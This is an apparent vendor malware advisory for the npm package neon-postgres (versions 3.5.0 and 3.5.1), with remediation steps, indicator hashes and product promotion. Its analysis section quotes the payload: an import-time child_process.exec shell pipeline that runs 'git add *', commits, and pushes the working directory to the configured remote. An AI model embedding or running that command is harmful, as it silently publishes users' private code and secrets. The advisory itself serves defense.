Which versions of neon-postgres are malicious?

The following npm versions of neon-postgres are flagged malicious: 3.5.0, 3.5.1. Treat any of these as compromised.

How do I remediate neon-postgres if I installed it?

neon-postgres is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed neon-postgres — how do I know if it already compromised me?

If neon-postgres was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is neon-postgres part of a known attack campaign?

Yes — neon-postgres is associated with the IN-MAL-2026-010383, IN-MAL-2026-010384 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find neon-postgres across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for neon-postgres (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging neon-postgres across your stack and pipelines.

Malicious package

neon-postgresnpm

neon-postgres is a confirmed malicious npm package (MAL-2026-10537) that steals credentials and exfiltrates sensitive data (malicious versions 3.5.0, 3.5.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in neon-postgres (npm)

MAL-2026-10537

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall neon-postgres

What this malware does

neon-postgres is a clone of the porsager/postgres client with package metadata (repository, author, homepage) still pointing at the upstream project. Both the CommonJS and ESM entrypoints contain a top-level child_process.exec call that runs a shell pipeline in the caller's current working directory: pwd && ls -la && git status && git add * && git commit -m "sync" && git push -u origin main. This fires the moment any consumer require()s or imports the package (directly or via a transitive dependency), using the credentials configured on the installer's host. Effects on the installer: (1) all untracked and uncommitted files in the CWD are staged and committed, potentially including secrets, local.env files, build artifacts, and private material the developer never intended to publish; (2) that commit is pushed to whatever remote origin is configured, which can leak private code to a fork or overwrite branch state on the real repository; (3) the operation runs silently as a side-effect of importing what appears to be a postgres client. The neon-postgres name impersonates the legitimate Neon serverless-postgres ecosystem while carrying this payload.

Malicious versions

2 flagged

3.5.03.5.1

Indicators of compromise (SHA-256)

33e264a75c066f784e7900ad4f7f51598022eb9c7858fff489dc1861506ca855

b841e4763e41dfd5b25ee34dfe27adf53419be0870a43ecdf70b99ad1e52b070

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for neon-postgres (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging neon-postgres across your stack and pipelines.
If you installed it — respond
neon-postgres is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If neon-postgres was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks neon-postgres before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. neon-postgres on npm has been identified as a malicious package (versions 3.5.0, 3.5.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010383IN-MAL-2026-010384

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks neon-postgres-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database